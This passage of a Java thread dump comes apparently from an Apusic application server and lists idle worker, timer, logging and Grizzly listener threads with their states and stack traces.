java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-15-thread-1" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@588a73d4 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Timer-1" #101 daemon [WAITING] on java.util.TaskQueue@77c1a226 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"Thread-56" #148 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@eb26cd1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"dol-jar-scanner" #134 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@759377 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"DynamicReloader" #116 daemon [TIMED_WAITING] on java.util.TaskQueue@6dd3b01f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"pool-6-thread-1" #55 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@725c9138 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-1" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@325e34c3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-59" #151 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@eb26cd1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[aas-web].StandardHost[server].StandardContext[__default-web-module]]" #114 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1631) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"FelixDispatchQueue" #17 daemon [WAITING] on java.util.ArrayList@e0b0ca + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.lang.Thread.run(Thread.java:750) + +"Thread-48" #139 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@eb26cd1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"jdbcTracerNotificationInfoHandler" #125 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70c37f8c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.apusic.aas.admin.monitor.jdbc.JDBCTracerInitService$JDBCTracerNotificationInfoHandler.run(JDBCTracerInitService.java:98) + +"deployment-jar-scanner" #132 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70a749df + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #131 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70a749df + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-3" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@325e34c3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"recoverFileDelete" #117 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@56ed6b21 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Grizzly(3)" #49 daemon [WAITING] on java.lang.Object@473c6bdd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Thread-50" #141 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@eb26cd1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"log-rotation-timer" #43 daemon [TIMED_WAITING] on java.util.TaskQueue@3ae29910 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"Grizzly(6)" #52 daemon [WAITING] on java.lang.Object@473c6bdd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Thread-52" #143 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@eb26cd1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1612096200000" #36 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@509f18a3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-5-thread-1" #40 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e9b2479 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ApusicLogManager" #11 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6666c0c6 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.apusic.aas.logging.ApusicLogManager$PushThread.dequeue(ApusicLogManager.java:116) + at com.apusic.aas.logging.ApusicLogManager$PushThread.run(ApusicLogManager.java:130) + +"pool-14-thread-1" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6583af87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"derby.rawStoreDaemon" #127 daemon [TIMED_WAITING] on org.apache.derby.impl.services.daemon.BasicDaemon@2460093a + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.derby.impl.services.daemon.BasicDaemon.rest(Unknown Source) + at org.apache.derby.impl.services.daemon.BasicDaemon.run(Unknown Source) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70a749df + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1-expirer(1)" #71 daemon [TIMED_WAITING] on java.lang.Object@5847130e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Timer-0" #34 daemon [WAITING] on java.util.TaskQueue@24240491 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"LogOutputStream-SEVERE" #45 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@717044b9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.sun.common.util.logging.LogOutputStream.log(LogOutputStream.java:82) + at com.sun.common.util.logging.LogOutputStream$1.run(LogOutputStream.java:67) + +"Monitor-Alarm-THREAD_POOL-Timer-0" #89 daemon [TIMED_WAITING] on java.util.TaskQueue@633604a1 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"Blueprint Extender: 3" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@154172fe + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(2)" #65 daemon [WAITING] on java.lang.Object@1448385f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Monitor-Alarm-CPU-Timer-0" #99 daemon [TIMED_WAITING] on java.util.TaskQueue@79f097a7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"FelixResolver-6" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@325e34c3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(2)" #81 daemon [WAITING] on java.lang.Object@19dab33a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Grizzly(10)" #61 daemon [WAITING] on java.lang.Object@473c6bdd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"ApusicConsoleHandler" #41 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7a6ce4d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.apusic.aas.logging.ApusicConsoleHandler.log(ApusicConsoleHandler.java:94) + at com.apusic.aas.logging.ApusicConsoleHandler$1.run(ApusicConsoleHandler.java:80) + +"FelixResolver-5" #22 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@325e34c3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Apusic Kernel Main Thread" #135 [WAITING] on com.apusic.enterprise.v10.server.AppServerStartup$1@1f991139 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.apusic.enterprise.v10.server.AppServerStartup$1.run(AppServerStartup.java:230) + +"Monitor-Alarm-VIRTUAL_MEMORY-Timer-0" #92 daemon [TIMED_WAITING] on java.util.TaskQueue@361b3223 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"Grizzly(11)" #62 daemon [WAITING] on java.lang.Object@473c6bdd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-9" #28 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@325e34c3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.unpark(Native Method) + at java.util.concurrent.locks.LockSupport.unpark(LockSupport.java:141) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.unparkSuccessor(AbstractQueuedSynchronizer.java:662) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.release(AbstractQueuedSynchronizer.java:1264) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.fullyRelease(AbstractQueuedSynchronizer.java:1723) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2069) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"HBT" #13 daemon [WAITING] on java.util.TaskQueue@63055a8c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"deployment-jar-scanner" #130 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70a749df + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"transaction-manager" #63 daemon [WAITING] on java.util.TaskQueue@1091d4a8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"pool-18-thread-1" #111 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@181d8a00 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) 